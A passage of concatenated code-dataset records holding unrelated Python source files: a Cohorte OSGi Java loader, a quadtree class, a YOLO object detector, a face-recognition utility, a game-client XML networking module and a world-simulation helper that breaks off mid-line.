a list\n converted = self.ArrayList()\n for item in data:\n # Convert each item\n converted.add(self._to_java(item))\n return converted\n\n else:\n # No conversion\n return data\n\n @staticmethod\n def debug(message, values):\n \"\"\"\n Logs a debug message\n \"\"\"\n _logger.debug(message.format(*values))\n\n @staticmethod\n def error(message, values):\n \"\"\"\n Logs an error message\n \"\"\"\n _logger.error(message.format(*values))\n\n def getComponents(self):\n \"\"\"\n Retrieves the components to instantiate (Java API)\n\n :return: An array of components\n \"\"\"\n # Create a list\n result = self.ArrayList()\n for component in self._components.values():\n result.add(component)\n return result\n\n def getStartConfiguration(self):\n \"\"\"\n Retrieves the configuration used to start this isolate as a map\n\n :return: The configuration used to start this isolate\n \"\"\"\n return self._java_boot_config\n\n @staticmethod\n def getPid():\n \"\"\"\n Retrieves the Process ID of this isolate\n\n :return: The isolate PID\n \"\"\"\n return os.getpid()\n\n def getRemoteShellPort(self):\n \"\"\"\n Returns the port used by the Pelix remote shell, or -1 if the shell is\n not active\n\n :return: The port used by the remote shell, or -1\n \"\"\"\n ref = self._context.get_service_reference(\n pelix.shell.REMOTE_SHELL_SPEC)\n if ref is None:\n return -1\n\n try:\n # Get the service\n shell = self._context.get_service(ref)\n\n # Get the shell port\n port = shell.get_access()[1]\n\n # Release the service\n self._context.unget_service(ref)\n return port\n except pelix.framework.BundleException:\n # Service lost (called while the framework was stopping)\n return -1\n\n def onComponentStarted(self, name):\n \"\"\"\n Called when a component has been started\n\n :param name: Name of the started component\n \"\"\"\n if name in self._components:\n del self._components[name]\n\n if not self._components:\n self._callback(True, \"All components have been instantiated\")\n\n def onError(self, error):\n \"\"\"\n Called when an error has occurred\n\n :param error: An error message\n \"\"\"\n self._callback(False, error)\n\n def prepareIsolate(self, uid, name, node, kind, level, sublevel,\n bundles, composition):\n \"\"\"\n Prepares the configuration dictionary of an isolate\n \"\"\"\n try:\n conf = self._parser.prepare_isolate(\n uid, name, node, kind, level, sublevel, bundles, composition)\n except:\n _logger.exception(\"Error preparing isolate...\")\n return None\n\n return self._to_java(conf)\n\n def readConfiguration(self, filename):\n \"\"\"\n Reads the given configuration file\n\n :param filename: A configuration file name\n :return: The parsed configuration map\n \"\"\"\n # Load the file\n raw_dict = self._parser.read(filename)\n\n # Convert the dictionary to Java\n return self._to_java(raw_dict)\n\n# ------------------------------------------------------------------------------\n\n\nclass EventFactory(object):\n \"\"\"\n Implementation of org.cohorte.herald.eventapi.IEventFactory\n \"\"\"\n JAVA_INTERFACE = HERALD_EVENT_FACTORY_INTERFACE\n\n def __init__(self, java_svc):\n \"\"\"\n Sets up members\n \"\"\"\n self._java = java_svc\n\n def createEvent(self):\n \"\"\"\n Creates an event for the Java world\n \"\"\"\n return self._java.make_proxy(EventProxy())\n\n def sleep(self, milliseconds):\n \"\"\"\n Sleeps the given number of milliseconds\n \"\"\"\n time.sleep(milliseconds / 1000.)\n\n def toString(self):\n \"\"\"\n Java toString() method\n \"\"\"\n return \"Python Event Factory for Herald\"\n\n\nclass EventProxy(object):\n \"\"\"\n Implementation of org.cohorte.herald.eventapi.IEvent\n \"\"\"\n JAVA_INTERFACE = HERALD_EVENT_INTERFACE\n\n def __init__(self):\n \"\"\"\n Sets up members\n \"\"\"\n self.__event = threading.Event()\n\n # Common names\n for method in ('clear', 'isSet', 'set'):\n setattr(self, method, getattr(self.__event, method))\n\n def waitEvent(self, timeout_ms=None):\n \"\"\"\n Proxy to call the wait() method of the event\n \"\"\"\n if timeout_ms is None or timeout_ms < 0:\n return self.__event.wait()\n else:\n return self.__event.wait(timeout_ms / 1000.)\n\n def toString(self):\n \"\"\"\n Java toString() method\n \"\"\"\n return \"Python EventProxy for Herald\"\n\n# ------------------------------------------------------------------------------\n\n\n@ComponentFactory(ISOLATE_LOADER_FACTORY)\n@Provides(cohorte.SERVICE_ISOLATE_LOADER)\n@Property('_handled_kind', cohorte.SVCPROP_ISOLATE_LOADER_KIND, LOADER_KIND)\n@Requires('_java', cohorte.SERVICE_JAVA_RUNNER)\n@Requires('_repository', cohorte.repositories.SERVICE_REPOSITORY_ARTIFACTS,\n spec_filter=\"({0}=java)\"\n .format(cohorte.repositories.PROP_REPOSITORY_LANGUAGE))\n@Requires('_config', cohorte.SERVICE_CONFIGURATION_READER)\n@Requires('_finder', cohorte.SERVICE_FILE_FINDER)\nclass JavaOsgiLoader(object):\n \"\"\"\n Pelix isolate loader. Needs a configuration to be given as a parameter of\n the load() method.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Sets up members\n \"\"\"\n # Injected services\n self._java = None\n self._config = None\n self._finder = None\n self._repository = None\n\n # Pelix bundle context\n self._context = None\n\n # OSGi Framework\n self._osgi = None\n\n # Bridge service registration\n self._bridge_reg = None\n\n @staticmethod\n def _setup_vm_properties(properties):\n \"\"\"\n Sets up the JVM system properties dictionary (not the arguments)\n\n :param properties: Configured properties\n :return: VM properties dictionary\n \"\"\"\n # Prepare the dictionary\n return properties.copy() if properties else {}\n\n def _setup_osgi_properties(self, properties, allow_bridge, extra_packages=None):\n \"\"\"\n Sets up the OSGi framework properties and converts them into a Java\n HashMap.\n\n :param properties: Configured framework properties\n :param allow_bridge: If True, the bridge API package will be exported\n by the framework.\n :return: The framework properties as a Java Map\n \"\"\"\n osgi_properties = self._java.load_class(\"java.util.HashMap\")()\n for key, value in properties.items():\n if value is not None:\n osgi_properties.put(key, str(value))\n\n # Inherit some Pelix properties\n for key in (cohorte.PROP_HOME, cohorte.PROP_BASE,\n cohorte.PROP_UID, cohorte.PROP_NAME,\n cohorte.PROP_NODE_UID, cohorte.PROP_NODE_NAME,\n cohorte.PROP_NODE_DATA_DIR,\n cohorte.PROP_DUMPER_PORT,\n cohorte.PROP_FORKER_HTTP_PORT,\n herald.FWPROP_PEER_UID, herald.FWPROP_PEER_NAME,\n herald.FWPROP_NODE_UID, herald.FWPROP_NODE_NAME,\n herald.FWPROP_APPLICATION_ID):\n value = self._context.get_property(key)\n if value is not None:\n # Avoid empty values\n osgi_properties.put(key, str(value))\n\n # Special case: Herald groups (comma-separated list)\n value = self._context.get_property(herald.FWPROP_PEER_GROUPS)\n if value:\n osgi_properties.put(herald.FWPROP_PEER_GROUPS,\n ','.join(str(group) for group in value))\n\n new_extra_packages = None\n if allow_bridge:\n # Prepare the \"extra system package\" framework property\n if extra_packages:\n new_extra_packages = \"{0}; version=1.0.0, {1}; version=1.0.0,{2}\".format(\n PYTHON_BRIDGE_BUNDLE_API, HERALD_BUNDLE_API, extra_packages)\n else:\n new_extra_packages = \"{0}; version=1.0.0, {1}; version=1.0.0\".format(\n PYTHON_BRIDGE_BUNDLE_API, HERALD_BUNDLE_API)\n else:\n if extra_packages:\n new_extra_packages = \"{0}\".format(extra_packages)\n\n if new_extra_packages:\n _logger.debug(\n \"Framework extra-packages={0}\".format(new_extra_packages))\n osgi_properties.put(\n FRAMEWORK_SYSTEMPACKAGES_EXTRA, new_extra_packages)\n else:\n _logger.debug(\"No extra-packages!\")\n\n return osgi_properties\n\n def _start_jvm(self, vm_args, classpath, properties):\n \"\"\"\n Starts the JVM, with the given file in the class path\n\n :param vm_args: JVM arguments\n :param classpath: A list of JAR files\n :param properties: Java system properties\n :raise KeyError: Error starting the JVM\n :raise ValueError: Invalid JAR file\n \"\"\"\n # Start a JVM if necessary\n if not self._java.is_running():\n # Arguments given to the Java runner\n java_args = []\n\n if vm_args:\n # VM specific arguments first\n java_args.extend(vm_args)\n\n # DEBUG: Remote debug server\n # java_args.append(\"-Xdebug\")\n # java_args.append(\"-Xrunjdwp:transport=dt_socket,\"\n # \"server=y,suspend=y,address=5005\")\n\n # Set the class path as a parameter\n java_args.append(self._java.make_jvm_classpath(classpath))\n\n # Prepare the JVM properties definitions\n for key, value in self._setup_vm_properties(properties).items():\n java_args.append(self._java.make_jvm_property(key, value))\n \n _logger.info(\"java argument {}\".format(java_args))\n self._java.start(None, *java_args)\n else:\n # Add the JAR to the class path\n for jar_file in classpath:\n self._java.add_jar(jar_file)\n\n def _close_osgi(self):\n \"\"\"\n Stops the OSGi framework and clears all references to it\n \"\"\"\n # Unregister services\n if self._bridge_reg is not None:\n self._bridge_reg.unregister()\n self._bridge_reg = None\n\n # Stop the framework\n if self._osgi is not None:\n self._osgi.stop()\n self._osgi = None\n\n def _register_bridge(self, context, java_configuration):\n \"\"\"\n Instantiates and registers the iPOJO components instantiation handler\n inside the OSGi framework\n\n :param context: An OSGi bundle context\n :param java_configuration: The Java boot configuration\n \"\"\"\n # Make a Java proxy of the bridge\n bridge_java = self._java.make_proxy(\n PyBridge(self._context, self._java, java_configuration,\n self._config, self._bridge_callback))\n\n # Register it to the framework\n self._bridge_reg = context.registerService(\n PyBridge.JAVA_INTERFACE, bridge_java, None)\n\n def _register_herald_bridge(self, context):\n \"\"\"\n Registers the Herald EventFactory service inside the OSGi framework\n\n :param context: An OSGi bundle context\n \"\"\"\n # Make a Java proxy of the Herald bridge\n herald_java = self._java.make_proxy(EventFactory(self._java))\n\n # Register it to the framework\n props = self._java.load_class(\"java.util.Hashtable\")()\n props.put(\"service.ranking\", 1000)\n self._bridge_reg = context.registerService(\n EventFactory.JAVA_INTERFACE, herald_java, props)\n\n @staticmethod\n def _bridge_callback(success, message):\n \"\"\"\n Called back by the Python-Java bridge\n\n :param success: If True, all components have been started, else an\n error occurred\n :param message: A call back message\n \"\"\"\n if success:\n _logger.debug(\"Bridge success: %s\", message)\n else:\n _logger.warning(\"Bridge error: %s\", message)\n\n def _find_osgi_jar(self, osgi_jar, symbolic_name):\n \"\"\"\n Looks for the OSGi framework JAR file matching the given parameters\n\n :param osgi_jar: An OSGi framework JAR file name\n :param symbolic_name: An OSGi framework symbolic name\n :return: A (file name, framework factory) tuple\n :raise ValueError: No OSGi framework found\n \"\"\"\n try:\n # We've been given a specific JAR file or symbolic name\n osgi_bundle = self._repository.get_artifact(symbolic_name,\n filename=osgi_jar)\n except ValueError:\n # Bundle not found\n for bundle in self._repository.filter_services(FRAMEWORK_SERVICE):\n # Get the first found framework\n osgi_bundle = bundle\n break\n else:\n # No match found\n raise ValueError(\"No OSGi framework found in repository\")\n\n # Found !\n return osgi_bundle.file, osgi_bundle.get_service(FRAMEWORK_SERVICE)\n\n def load(self, configuration):\n \"\"\"\n Loads the Java OSGi isolate\n\n :param configuration: Isolate configuration dictionary (required)\n :raise KeyError: A mandatory property is missing\n :raise ValueError: Invalid parameter/file encountered or the JVM\n can't be loaded\n :raise BundleException: Error installing a bundle\n :raise Exception: Error instantiating a component\n \"\"\"\n if not configuration:\n raise KeyError(\"A configuration is required to load a \"\n \"Java OSGi isolate\")\n \n _logger.debug(\"configuration {0}\".format(configuration))\n\n # Parse the configuration (boot-like part) -> Might raise error\n java_config = self._config.load_boot_dict(configuration)\n\n # Find the OSGi JAR file to use\n osgi_jar_file, factory_name = self._find_osgi_jar(\n configuration.get('osgi_jar'), configuration.get('osgi_name'))\n\n _logger.debug(\"Using OSGi JAR file: %s\", osgi_jar_file)\n\n # Prepare the VM arguments\n classpath = [osgi_jar_file]\n\n # Find the bridge API JAR file\n api_jar = self._repository.get_artifact(PYTHON_BRIDGE_BUNDLE_API)\n if api_jar:\n # Add the bundle to the class path...\n classpath.append(api_jar.file)\n else:\n raise Exception(\"Python bridge API bundle is missing\")\n\n # Find the Herald API JAR file\n herald_event_jar = self._repository.get_artifact(\n HERALD_BUNDLE_API)\n if herald_event_jar:\n # Add the bundle to the class path...\n classpath.append(herald_event_jar.file)\n else:\n raise Exception(\"Herald Event API bundle is missing\")\n\n\n # Start the JVM\n _logger.debug(\"Starting JVM...\")\n self._start_jvm(configuration.get('vm_args'), classpath,\n configuration.get('vm_properties'))\n\n # Patch for Mac OS X:\n # GUI library must be loaded early in the main thread\n if sys.platform == 'darwin':\n # We need this dark magic stuff for dummy OSes\n self._java.load_class(\"java.awt.Color\")\n\n # Load the FrameworkFactory implementation\n _logger.debug(\"Loading OSGi FrameworkFactory: %s\", factory_name)\n factory_class = self._java.load_class(factory_name)\n factory = factory_class()\n\n # Retrieve extra packages\n vm_args = configuration.get('vm_args')\n tmp = []\n if vm_args:\n tmp = [vm_arg for vm_arg in configuration.get('vm_args')\n if FRAMEWORK_SYSTEMPACKAGES_EXTRA in vm_arg]\n extra_packages = \"\"\n if len(tmp) > 0:\n extra_packages = tmp[0].split(\"=\")[1]\n\n # Framework properties\n osgi_properties = self._setup_osgi_properties(java_config.properties,\n api_jar is not None,\n extra_packages)\n\n # Start a framework, with the given properties\n self._osgi = factory.newFramework(osgi_properties)\n self._osgi.start()\n context = self._osgi.getBundleContext()\n\n # Register the Herald Event API bridge\n self._register_herald_bridge(context)\n\n # Install bundles\n java_bundles = []\n\n # Install the bridge\n bundle = self._repository.get_artifact(PYTHON_BRIDGE_BUNDLE)\n if not bundle:\n _logger.warning(\"No Python bridge bundle found\")\n else:\n _logger.debug(\"Installing PyBridge bundle: %s\", bundle.url)\n java_bundles.append(context.installBundle(bundle.url))\n\n # Install the configured bundles\n for bundle_conf in java_config.bundles:\n bundle = self._repository.get_artifact(\n bundle_conf.name, bundle_conf.version, bundle_conf.filename)\n if not bundle:\n if not bundle_conf.optional:\n raise ValueError(\"Bundle not found: {0}\"\n .format(bundle_conf))\n else:\n _logger.warning(\"Bundle not found: %s\", bundle_conf)\n elif bundle.file == osgi_jar_file:\n _logger.debug(\"OSGi framework is already installed.\")\n else:\n _logger.debug(\"Installing Java bundle %s (is_fragment=%s)...\", bundle.name, bundle.is_fragment())\n b = context.installBundle(bundle.url) \n if not bundle.is_fragment():\n java_bundles.append(b)\n\n try:\n # Start the bundles\n for bundle in java_bundles:\n _logger.debug(\"Starting %s...\", bundle.getSymbolicName()) \n bundle.start()\n except jpype.JavaException as ex:\n # Log the bundle exception and its cause\n _logger.error(\"Error starting bundle: %s\",\n ex.__javaobject__.toString())\n cause = ex.__javaobject__.getCause()\n while cause is not None:\n _logger.error(\"... caused by: %s\", cause.toString())\n cause = cause.getCause()\n\n # Raise exception to the caller\n raise\n\n # Start the component instantiation handler\n # (once all bundles have been installed)\n self._register_bridge(context, java_config)\n\n def wait(self):\n \"\"\"\n Waits for the isolate to stop\n \"\"\"\n if not self._osgi:\n # Nothing to do\n return\n\n # Wait for the OSGi framework to stop\n try:\n self._osgi.waitForStop(0)\n except Exception as ex:\n _logger.exception(\"Error waiting for the OSGi framework \"\n \"to stop: %s\", ex)\n raise\n\n @Validate\n def validate(self, context):\n \"\"\"\n Component validated\n\n :param context: The bundle context\n \"\"\"\n # Update the finder\n self._finder.update_roots()\n\n # Store the framework access\n self._context = context\n\n @Invalidate\n def invalidate(self, context):\n \"\"\"\n Component invalidated\n\n :param context: The bundle context\n \"\"\"\n # Stop the framework\n self._close_osgi()\n\n # Clear the JVM\n self._java.stop()\n\n # Clear the framework access\n self._context = None\n","repo_name":"cohorte/cohorte-runtime","sub_path":"python/cohorte/boot/loaders/osgi_inner.py","file_name":"osgi_inner.py","file_ext":"py","file_size_in_byte":24568,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"14667834474","text":"from Vector import *\r\nfrom Particle import *\r\nclass Quad:\r\n def __init__(self, len, pos, pList):\r\n self.subquads = []\r\n self.len = len\r\n self.pos = pos\r\n self.pList = pList\r\n self.computeMass()\r\n self.computeCOM()\r\n\r\n def getLen(self):\r\n return self.len\r\n\r\n def getPos(self):\r\n return self.pos\r\n\r\n def getMass(self):\r\n return self.mass\r\n\r\n def getCOM(self):\r\n return self.com\r\n\r\n def computeMass(self):\r\n m = 0\r\n for p in self.pList:\r\n m += Particle.getMass(p)\r\n self.mass = m\r\n\r\n def computeCOM(self):\r\n if len(self.subquads) == 0 and len(self.pList) == 0:\r\n self.com = self.pos\r\n elif len(self.subquads) == 0:\r\n vec = Vector([0,0])\r\n mtot = 0\r\n for p in self.pList:\r\n vec += p.mass * p.pos\r\n mtot += p.mass\r\n self.com = vec / mtot\r\n else:\r\n vec = Vector([0,0])\r\n mtot = 0\r\n for q in self.subquads:\r\n vec += q.mass * q.com\r\n mtot += q.mass\r\n self.com = vec / mtot\r\n\r\n def addSubQuads(self):\r\n p1, p2, p3, p4 = [],[],[],[]\r\n for p in self.pList:\r\n if p.inSquare(self.pos+Vector([-self.len/4,-self.len/4]), self.len/2):\r\n p1.append(p)\r\n elif p.inSquare(self.pos+Vector([-self.len/4,self.len/4]), self.len/2):\r\n p2.append(p)\r\n elif p.inSquare(self.pos+Vector([self.len/4,-self.len/4]), self.len/2):\r\n p3.append(p)\r\n elif p.inSquare(self.pos+Vector([self.len/4,self.len/4]),self.len/2):\r\n p4.append(p)\r\n self.subquads.append(Quad(self.len/2, self.pos+Vector([-self.len/4,-self.len/4]),p1))\r\n self.subquads.append(Quad(self.len/2, self.pos+Vector([-self.len/4,self.len/4]),p2))\r\n self.subquads.append(Quad(self.len/2, self.pos+Vector([self.len/4,-self.len/4]),p3))\r\n self.subquads.append(Quad(self.len/2, self.pos+Vector([self.len/4,self.len/4]),p4))\r\n\r\n def subqlist(self, qlist):\r\n qlist.append(self)\r\n for q in self.subquads:\r\n q.subqlist(qlist)\r\n\r\n def numQBelow(self):\r\n num = 0\r\n if len(self.subquads) == 0:\r\n return num\r\n num+=4\r\n for q in self.subquads:\r\n num += q.numQBelow()\r\n return num\r\n","repo_name":"samirjohnson/Ph22_Repository","sub_path":"Quad.py","file_name":"Quad.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13711004163","text":"import cv2\nimport numpy as np\nimport os\nfrom rclpy.node import MsgType\nfrom ninshiki_interfaces.msg import DetectedObject\n\n\nclass Yolo:\n def __init__(self, gpu: bool = False, myriad: bool = False):\n self.file_name = os.path.expanduser('~') + \"/yolo_model/obj.names\"\n self.classes = None\n\n config = os.path.expanduser('~') + \"/yolo_model/config.cfg\"\n weights = os.path.expanduser('~') + \"/yolo_model/yolo_weights.weights\"\n self.net = cv2.dnn.readNetFromDarknet(config, weights)\n self.outs = None\n\n self.gpu = gpu\n self.myriad = myriad\n\n def pass_image_to_network(self, image: np.ndarray):\n with open(self.file_name, 'rt') as f:\n self.classes = f.read().rstrip('\\n').split('\\n')\n\n self.net.getLayerNames()\n layerOutput = self.net.getUnconnectedOutLayersNames()\n\n if self.gpu:\n self.net.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n self.net.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n elif self.myriad:\n self.net.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)\n self.net.setPreferableTarget(cv2.dnn.DNN_TARGET_MYRIAD)\n else:\n self.net.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)\n self.net.setPreferableTarget(cv2.dnn.DNN_TARGET_CPU)\n\n input_width = 416\n input_height = 416\n blob = cv2.dnn.blobFromImage(image, 1/255, (input_width, input_height),\n [0, 0, 0], 1, crop=False)\n\n self.net.setInput(blob)\n self.outs = self.net.forward(layerOutput)\n\n def detection(self, image: np.ndarray, detection_result: MsgType, conf_threshold: float,\n nms_threshold: float):\n # Get object name, score, and location\n confident_threshold = conf_threshold\n nms_threshold = nms_threshold\n\n class_id = np.argmax(self.outs[0][0][5:])\n frame_h, frame_w, frame_c = image.shape\n class_ids = []\n confidences = []\n boxes = []\n for out in self.outs:\n for detection in out:\n if len(detection) == 5 + len(self.classes):\n scores = detection[5:]\n class_id = np.argmax(scores)\n confidence = scores[class_id]\n c_x = int(detection[0] * frame_w)\n c_y = int(detection[1] * frame_h)\n w = int(detection[2] * frame_w)\n h = int(detection[3] * frame_h)\n x = int(c_x - w / 2)\n y = int(c_y - h / 2)\n class_ids.append(class_id)\n confidences.append(float(confidence))\n boxes.append([x, y, w, h])\n\n if len(boxes):\n indices = cv2.dnn.NMSBoxes(boxes, confidences, confident_threshold, nms_threshold)\n # Get object location\n for i in indices:\n if i < (len(boxes) - 1):\n box = np.array(boxes)[i]\n if len(box) == 4:\n x = np.array(box)[0]\n y = np.array(box)[1]\n w = np.array(box)[2]\n h = np.array(box)[3]\n\n # Add detected object into list\n detection_object = DetectedObject()\n\n detection_object.label = self.classes[class_ids[i]]\n detection_object.score = confidences[i]\n detection_object.left = x / frame_w\n detection_object.top = y / frame_h\n detection_object.right = (x+w) / frame_w\n detection_object.bottom = (y+h) / frame_h\n\n detection_result.detected_objects.append(detection_object)\n\n def load_data():\n # Load data from settei\n pass\n","repo_name":"ichiro-its/ninshiki_py","sub_path":"ninshiki_py/detector/yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15111679190","text":"import face_recognition as frg\nimport pickle as pkl \nimport os \nimport cv2 \nimport numpy as np\nimport yaml\nfrom collections import defaultdict\n\ninformation = defaultdict(dict)\ncfg = yaml.load(open('config.yaml','r'),Loader=yaml.FullLoader)\nDATASET_DIR = cfg['PATH']['DATASET_DIR']\nPKL_PATH = cfg['PATH']['PKL_PATH']\n\ndef get_databse():\n with open(PKL_PATH,'rb') as f:\n database = pkl.load(f)\n return database\ndef recognize(image,TOLERANCE): \n database = get_databse()\n known_encoding = [database[id]['encoding'] for id in database.keys()] \n name = 'Unknown'\n id = 'Unknown'\n face_locations = frg.face_locations(image)\n face_encodings = frg.face_encodings(image,face_locations)\n for (top,right,bottom,left),face_encoding in zip(face_locations,face_encodings):\n matches = frg.compare_faces(known_encoding,face_encoding,tolerance=TOLERANCE)\n distance = frg.face_distance(known_encoding,face_encoding)\n name = 'Unknown'\n id = 'Unknown'\n if True in matches:\n match_index = matches.index(True)\n name = database[match_index]['name']\n id = database[match_index]['id']\n distance = round(distance[match_index],2)\n cv2.putText(image,str(distance),(left,top-30),cv2.FONT_HERSHEY_SIMPLEX,0.75,(0,255,0),2)\n cv2.rectangle(image,(left,top),(right,bottom),(0,255,0),2)\n cv2.putText(image,name,(left,top-10),cv2.FONT_HERSHEY_SIMPLEX,0.75,(0,255,0),2)\n return image, name, id\ndef isFaceExists(image): \n face_location = frg.face_locations(image)\n if len(face_location) == 0:\n return False\n return True\ndef submitNew(name, id, image, old_idx=None):\n database = get_databse()\n #Read image \n if type(image) != np.ndarray:\n image = cv2.imdecode(np.fromstring(image.read(), np.uint8), 1)\n\n isFaceInPic = isFaceExists(image)\n if not isFaceInPic:\n return -1\n #Encode image\n encoding = frg.face_encodings(image)[0]\n #Append to database\n #check if id already exists\n existing_id = [database[i]['id'] for i in database.keys()]\n #Update mode \n if old_idx is not None: \n new_idx = old_idx\n #Add mode\n else: \n if id in existing_id:\n return 0\n new_idx = len(database)\n image = cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\n database[new_idx] = {'image':image,\n 'id': id, \n 'name':name,\n 'encoding':encoding}\n with open(PKL_PATH,'wb') as f:\n pkl.dump(database,f)\n return True\ndef get_info_from_id(id): \n database = get_databse() \n for idx, person in database.items(): \n if person['id'] == id: \n name = person['name']\n image = person['image']\n return name, image, idx \n return None, None, None\ndef deleteOne(id):\n database = get_databse()\n id = str(id)\n for key, person in database.items():\n if person['id'] == id:\n del database[key]\n break\n with open(PKL_PATH,'wb') as f:\n pkl.dump(database,f)\n return True\ndef build_dataset():\n counter = 0\n for image in os.listdir(DATASET_DIR):\n image_path = os.path.join(DATASET_DIR,image)\n image_name = image.split('.')[0]\n parsed_name = image_name.split('_')\n person_id = parsed_name[0]\n person_name = ' '.join(parsed_name[1:])\n if not image_path.endswith('.jpg'):\n continue\n image = frg.load_image_file(image_path)\n information[counter]['image'] = image \n information[counter]['id'] = person_id\n information[counter]['name'] = person_name\n information[counter]['encoding'] = frg.face_encodings(image)[0]\n counter += 1\n\n with open(os.path.join(DATASET_DIR,'database.pkl'),'wb') as f:\n pkl.dump(information,f)\n\nif __name__ == \"__main__\": \n deleteOne(4)\n\n","repo_name":"datct00/Face-recognition-app-using-Streamlit","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"71529309636","text":"\"\"\"\nHere are all incoming byte streams and all outgoing protocol objects handelt.\n\"\"\"\nimport logging\nimport sys\n\nfrom xsdata.formats.dataclass.context import XmlContext\nfrom xsdata.formats.dataclass.parsers import XmlParser\nfrom xsdata.formats.dataclass.parsers.config import ParserConfig\nfrom xsdata.formats.dataclass.parsers.handlers import XmlEventHandler\nfrom xsdata.formats.dataclass.serializers import XmlSerializer\nfrom xsdata.formats.dataclass.serializers.config import SerializerConfig\n\nfrom socha.api.networking._network_interface import _NetworkInterface\nfrom socha.api.plugin.penguins import Move\nfrom socha.api.protocol.protocol import *\n\n\ndef customClassFactory(clazz, params: dict):\n if clazz.__name__ == \"Data\":\n try:\n params.pop(\"class_binding\")\n except KeyError:\n ...\n if params.get(\"class_value\") == \"welcomeMessage\":\n welcome_message = WelcomeMessage(Team(params.get(\"color\")))\n return clazz(class_binding=welcome_message, **params)\n elif params.get(\"class_value\") == \"memento\":\n state_object = params.get(\"state\")\n return clazz(class_binding=state_object, **params)\n elif params.get(\"class_value\") == \"moveRequest\":\n move_request_object = MoveRequest()\n return clazz(class_binding=move_request_object, **params)\n elif params.get(\"class_value\") == \"result\":\n result_object = Result(definition=params.get(\"definition\"), scores=params.get(\"scores\"),\n winner=params.get(\"winner\"))\n return clazz(class_binding=result_object, **params)\n elif params.get(\"class_value\") == \"error\":\n error_object = Error(message=params.get(\"message\"), originalMessage=params.get(\"original_message\"))\n return clazz(class_binding=error_object, **params)\n\n return clazz(**params)\n\n\nclass _XFlux:\n \"\"\"\n Serialize and deserialize objects to and from XML.\n \"\"\"\n\n def __init__(self):\n context = XmlContext()\n deserialize_config = ParserConfig(class_factory=customClassFactory)\n self.deserializer = XmlParser(handler=XmlEventHandler, context=context, config=deserialize_config)\n\n serialize_config = SerializerConfig(pretty_print=True, xml_declaration=False)\n self.serializer = XmlSerializer(config=serialize_config)\n\n def deserialize_object(self, byteStream: bytes) -> ProtocolPacket:\n \"\"\"\n Deserialize a xml byte stream to a ProtocolPacket.\n :param byteStream: The byte stream to deserialize.\n :return: The deserialized ProtocolPacket child.\n \"\"\"\n parsed = self.deserializer.from_bytes(byteStream)\n return parsed\n\n def serialize_object(self, object_class: object) -> bytes:\n \"\"\"\n Serialize a ProtocolPacket child to a xml byte stream.\n :param object_class: The ProtocolPacket child to serialize.\n :return: The serialized byte stream.\n \"\"\"\n if isinstance(object_class, Move):\n from_value = From(x=object_class.from_value.x, y=object_class.from_value.y)\n to_value = To(x=object_class.to_value.x, y=object_class.to_value.y)\n data = Data(class_value=\"move\", from_value=from_value, to=to_value)\n return self.serializer.render(data).encode(\"utf-8\")\n\n return self.serializer.render(object_class).encode(\"utf-8\")\n\n\nclass _XFluxClient:\n \"\"\"\n Streams data from and to the server.\n \"\"\"\n\n def __init__(self, host: str, port: int):\n \"\"\"\n :param host: Host of the server.\n :param port: Port of the server.\n \"\"\"\n self.network_interface = _NetworkInterface(host, port)\n self.connect_to_server()\n self.x_flux = _XFlux()\n self.running = False\n self.first_time = True\n\n def start(self):\n \"\"\"\n Starts the client loop.\n \"\"\"\n self.running = True\n self._client_loop()\n\n def _client_loop(self):\n \"\"\"\n The client loop.\n This is the main loop,\n where the client waits for messages from the server\n and handles them accordingly.\n \"\"\"\n while self.running:\n response = self._receive()\n if isinstance(response, ProtocolPacket):\n if isinstance(response, Left):\n logging.info(\"The server left. Shutting down...\")\n self.handle_disconnect()\n else:\n self.on_object(response)\n elif self.running:\n logging.error(f\"Received object of unknown class: {response}\")\n raise NotImplementedError(\"Received object of unknown class.\")\n logging.info(\"Done.\")\n sys.exit()\n\n def _receive(self):\n \"\"\"\n Gets a receiving byte stream from the server.\n :return: The next object in the stream.\n \"\"\"\n try:\n receiving = self.network_interface.receive()\n cls = self.x_flux.deserialize_object(receiving)\n return cls\n except OSError:\n logging.error(\"Shutting down abnormally...\")\n self.running = False\n\n def send(self, obj: ProtocolPacket):\n \"\"\"\n Sends an object to the server.\n :param obj: The object to send.\n \"\"\"\n shipment = self.x_flux.serialize_object(obj)\n if self.first_time:\n shipment = \"\".encode(\"utf-8\") + shipment\n self.first_time = False\n self.network_interface.send(shipment)\n\n def connect_to_server(self):\n \"\"\"\n Creates a TCP connection with the server.\n \"\"\"\n self.network_interface.connect()\n\n def close_connection(self):\n \"\"\"\n Sends a closing xml to the server and closes the connection afterwards.\n \"\"\"\n close_xml = self.x_flux.serialize_object(Close())\n self.network_interface.send(close_xml)\n self.network_interface.close()\n\n def handle_disconnect(self):\n \"\"\"\n Closes the connection and stops the client loop.\n \"\"\"\n self.close_connection()\n self.running = False\n\n def on_object(self, message):\n \"\"\"\n Handles an object received from the server.\n :param message: The object to handle.\n \"\"\"\n\n def stop(self):\n \"\"\"\n Disconnects from the server and stops the client loop.\n \"\"\"\n if self.network_interface.connected:\n self.close_connection()\n self.running = False\n","repo_name":"jnccd/sc-workshops","sub_path":"sc-workshops-student/sc-client/socha/api/networking/_xflux.py","file_name":"_xflux.py","file_ext":"py","file_size_in_byte":6527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23014482240","text":"# World sim helper functions\n\nimport numpy as np\nfrom astar import AStar\n\nnp.random.seed(10)\n\ndef pick_location(grid_lo, grid_hi, obstacle_footprints, depot_locs):\n# Returns random [x,y,0] location for delivery that is not a depot or obstacle\n inside = True\n buffer = 2\n while inside:\n x = np.random.randint(grid_lo[0]+buffer, grid_hi[0]-buffer)\n y = 